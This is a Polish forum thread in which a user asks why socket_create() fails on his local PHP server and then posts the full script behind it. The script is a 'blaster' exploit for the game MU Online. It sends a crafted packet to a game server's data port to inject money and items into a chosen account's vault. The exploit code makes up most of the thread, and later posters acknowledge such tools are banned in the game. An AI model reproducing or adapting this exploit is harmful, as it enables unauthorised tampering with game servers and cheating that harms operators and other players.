[PHP] Fatal error


(Dudi4155) #1

Mam mały problem z odpalaniem skryptu php na własnym serwerze pod local host... Najpierw używałem apache, później abyss web serwer a teraz alacer server. Na wszystkich miałem włączoną odsługe php i stronka ładowała się bez problemu. Jeżeli jednak próbuje uruchomić skrypt wyrzuca błąd:

Fatal error: Call to undefined function: socket_create() in c:\www\index.php on line 65

Sciezki do pliku index.php były wyświtlane rożnie, zależnie od używanego serwera, jednak zawsze terść błędu była identyczna.

Oczywiście odpalam strrone wpisując adres http://127.0.0.1/index.php :wink: Stronka na 100% jest napisana poprawnie, ponieważ na profesjonalnych serwerach obsługujacych php działała bez zarzutu. Sam znam się słabo na php więc proszę was o poradę :slight_smile:


(adam9870) #2

Stronka u mnie nie działa poniważ http://127.0.0.1 to adres wlasnego kompa gdy sie zalozy serw. Podaj adres na swoim ip to sie zobaczy.

Upewnij się, ze masz aktywowane php oraz wszystko dobrze skonfigurowane.

Podrzuc kod pliku w ktoym wywala błąd poniwaz w przegladarce w źrodle nie widac kodu w php,


(Dudi4155) #3

http://81.190.21.61/vault.php

<?php


$ip = $_SERVER['REMOTE_ADDR'];


if (!isset($_POST['execute']))

{

    print('

Hello again, freaks =-). This script will attempt to patch your vault!! All you have to do, is find out server\'s IP, download itemproject.rar, generate hexacode for items you want to place in vault and fill other fields.

| Server IP | |
| Data Port | |
| Account name | |
| Enter HEXA code, generated by itemproject.exe | |
| |

'); die(); } $serveraddr = $_POST['ip']; // Server IP or ISP address $account = $_POST['acc']; // Character Name (char 10) $port = $_POST['port']; // Data Server Port // Vault Access Code $vcode = Array(); $vcode["plus"] = "210"; $vcode["256"] = "4"; // Vault balance (MONEY) $vmoney = Array(); $vmoney["plus"] = "0"; $vmoney["256"] = "0"; $vmoney["65536"] = "0"; $vmoney["16777216"] = "5"; // Vault Items HEXA CODE //$vhouseitems = "11DC5F000000007F04DDFFFFFFFFFFFFFFFFFFFFF1DC5F0000 00007F04DDFFFFFFFFFFFFFFFFFFFF11DC5F00000000FF04DD FFFFFFFFFFFFFFFFFFFF31DC5F00000000FF04DDFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF51DC5F0000 0000FF04DDFFFFFFFFFFFFFFFFFFFF71DC5F00000000FF04DD FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 85DC5F00000000FF04DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"; $vhouseitems = $_POST['code']; ////////////////-\\\\\\\\\ /////////// PROGRAM! \\\\\\\ ////////////////-\\\\\\\\\ $socket = socket_create(AF_INET, SOCK_STREAM, 0); if (!@socket_connect($socket, $serveraddr, $port)) { die("Unable to strike this server.\n"); } $exploit = "194 4 200 9 "; for ($i = 0; $i < strlen($account); $i++) { $exploit .= ord(substr($account, $i, 1)) . " "; } for ($i = 10-strlen($account); $i > 0; $i--) { $exploit .= "0 "; } $exploit .= "192 18 "; $exploit .= $vmoney["plus"] . " "; $exploit .= $vmoney["256"] . " "; $exploit .= $vmoney["65536"] . " "; $exploit .= $vmoney["16777216"] . " "; $vitems = NULL; $i = 0; while ($i < strlen($vhouseitems)) { $vitems .= hexdec(substr($vhouseitems, $i, 2)) . " "; $i++; $i++; } $exploit .= $vitems; $i = 0; $exploit .= "255 255 255 255 255 255 255 255 "; $exploit .= $vcode["plus"] . " "; $exploit .= $vcode["256"] . " "; $exploit .= "194 4 200 9 "; for ($i = 0; $i < strlen($account); $i++) { $exploit .= ord(substr($account, $i, 1)) . " "; } for ($i = 10-strlen($account); $i > 0; $i--) { $exploit .= "0 "; } $exploit = substr($exploit, 0 , strlen($exploit)-1); $charvar = explode(" ", $exploit); $exploit = "\$exploit = "; for ($i = 0; $i < count($charvar); $i++) { $exploit .= "chr(" . $charvar[$i] . ") . "; } $exploit .= "chr(0) . chr(0) . chr(0)"; $exploit .= ";"; eval($exploit); if (!@socket_write($socket, $exploit, strlen($exploit))) { die("Unable to blast the server. Please retry!\n"); } socket_close($socket); print("Seems everything is ok. Go and check it out...\n"); ?> [/code]


(Balon) #4

dziwisz sie ?

http://php.net.pl/manual-lookup.php?pat ... en〈=pl

nie ma takiej funkcji a na dodatek nei zadeklarowana jest ona w tym kodzie ;]

czyzby byl to blaster do Mu ?? :>


(Dudi4155) #5

dziwne że gdy wrzuce to na profesjonalny serwer z obsługą php to wszystko działa :slight_smile: I zgadza się, to jest blaster :smiley:


(system) #6

wiesz, że takie rzeczy są zakazane?


(Dudi4155) #7

Czytałem regulamin :slight_smile:

Blasty nie są nielegalne i nie zawierają treści faszystowskich, pornograficznych ani nikomu nie ubliżają, więc czemu mają nie być dozwolone? :smiley:


(system) #8

nie mówię, że nie są zakazane na forum

chodziło mi o to, że są zakazane w stosowaniu w MU


(Balon) #9

tak ale nie jest to ograniczone w zaden sposob prawnie ;]